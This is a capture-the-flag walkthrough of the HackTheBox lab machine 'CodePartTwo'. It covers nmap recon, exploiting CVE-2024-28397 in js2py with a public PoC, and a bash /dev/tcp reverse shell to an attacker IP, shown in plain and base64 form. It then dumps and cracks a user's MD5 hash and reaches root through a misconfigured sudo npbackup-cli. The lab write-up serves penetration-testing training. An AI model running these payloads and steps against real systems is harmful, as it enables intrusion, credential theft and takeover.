CodePartTwo — HackTheBoxWalkthrough

None

Initial Reconnaissance

I started with a standard service scan to map the attack surface:

nmap -sC -sV 10.10.11.82

Scan output :

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 (Ubuntu 4ubuntu0.13)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux

There are two open ports:

  • 22/tcpSSH (OpenSSH 8.2p1, Ubuntu)
  • 8000/tcpHTTP (Gunicorn 20.0.4; web app title: Welcome to CodePartTwo)

Adding to host's file

I added a host's entry, so the site resolves locally:

echo "10.10.11.82 codetwo.htb" | sudo tee -a /etc/hosts

Navigating the web app

I opened the site in my browser and clicked Download App

None

the server returned an app.zip. I extracted app.zip locally and inspected the files: app.py and requirements.txt.

requirements.txt contains:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

js2py==0.74 might be vulnerable, since it runs JavaScript inside Python, any user input that reaches it could let an attacker inject code.

Vulnerability research

After I explored the app and confirmed js2py in requirements.txt, I searched for known issues. I found that js2py is affected by CVE-2024-28397, which can allow a sandbox escape / unsafe JavaScript execution when used improperly.

I also located a public PoC repository for this CVE:

https://github.com/naclapor/CVE-2024-28397

Exploitation

I downloaded the Exploit script from the GitHub repo and adapted the payload to match the app's /run_code endpoint.

Attacker setup

  • Start a Netcat listener on the attacker machine:
nc -lvnp 4444
  • Run the exploit against the target:
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.57

When the script ran it generated a base64‑encoded reverse shell payload and posted it to the target.

Example output from the exploit script:

CVE-2024-28397 - js2py Sandbox Escape Exploit
Targets js2py <= 0.74 
[*] Generating exploit payload...
[+] Target URL: http://10.10.11.82:8000/run_code
[+] Reverse shell: (bash >& /dev/tcp/10.10.14.57/4444 0>&1) &
[+] Base64 encoded: KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTcvNDQ0NCAwPiYxKSAm
[+] Listening address: 10.10.14.57:4444
[!] Start your listener: nc -lnvp 4444
[*] Press Enter when your listener is ready...
[*] Sending exploit payload...
[+] Payload sent successfully!
[+] Response: {"error":"'NoneType' object is not callable"}
[+] Check your netcat listener for the reverse shell!

Shortly after sending the payload my listener received a shell.

Stabilizing the shell

I upgraded the shell to an interactive tty and a more stable bash session:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Initial post‑exploitation: user discovery

I enumerated users and shells on the box to see which accounts exist:

grep "bash" /etc/passwd

Output showed three users with bash shells:

root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

I attempted to access /home/marco but hit a permission barrier:

cd /home/marco
# bash: cd: /home/marco: Permission denied

Credential discovery

After getting a shell as the app user, I looked for application data and found an SQLite database in the app instance folder.

Inspecting the app database

cd /home/app/app/instance
cat users.db
# output was mostly binary/gibberish, so I opened it with sqlite3
sqlite3 users.db

In sqlite3 I listed tables and dumped the user table:

.tables
SELECT * FROM user;

Result:

1|marco|649c9d65a206a75f5abe509fe128bce5
2|app  |a97588c0e2fa3a024876339e27aeb42e

I extracted marco's password hash (649c9d65a206a75f5abe509fe128bce5) and used an online cracking service CrackStation to recover the plaintext password.

None

Cracked credentials

  • Username: marco
  • Password: sweetangelbabylove (recovered from the MD5 hash via CrackStation)

Logging in as the user

With the cracked password I SSHed into the machine as marco:

ssh marco@10.10.11.82
# password: sweetangelbabylove

Capturing user flag

Once logged in as marco I grabbed the user flag:

cat /home/marco/user.txt

Privilege Escalation

After obtaining the marco shell I checked sudo privileges to see if any escalation paths were available:

sudo -l

Output:

Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Finding: marco can run /usr/local/bin/npbackup-cli as root without a password. That binary is our escalation vector.

How I escalated to root

I inspected how npbackup-cli uses its config file and realized it performs backups based on a config path. By creating a modified config that points the backup source to /root, I could make the backup tool read (and dump) root-owned files.

  • Copy the existing config to a writable filename:
cp npbackup.conf test.conf
  • Edit the copied config (using nano or your editor) and change the source path from /home/app/app to /root (or otherwise point the backup target to the files you want to access):
nano test.conf
None
  • change: /home/app/app => /root
None
  • Run the backup tool as root via sudo, using the modified config,
sudo npbackup-cli -c test.conf -b -f
None

Capturing the root flag

I asked the backup tool to dump /root/root.txt using the modified config:

sudo /usr/local/bin/npbackup-cli -c test.conf --dump /root/root.txt

The command returned the root flag:

None

Conclusion

I moved from initial reconnaissance to full compromise: a vulnerable js2py==0.74 (CVE‑2024‑28397) in the web code runner enabled RCE, and a misconfigured npbackup-cli sudo entry let me escalate to root. This CodePartTwo HTB walkthrough is an excellent hands‑on exercise for practicing Python RCE, dependency‑vulnerability hunting, and privilege escalation core skills for any aspiring penetration tester.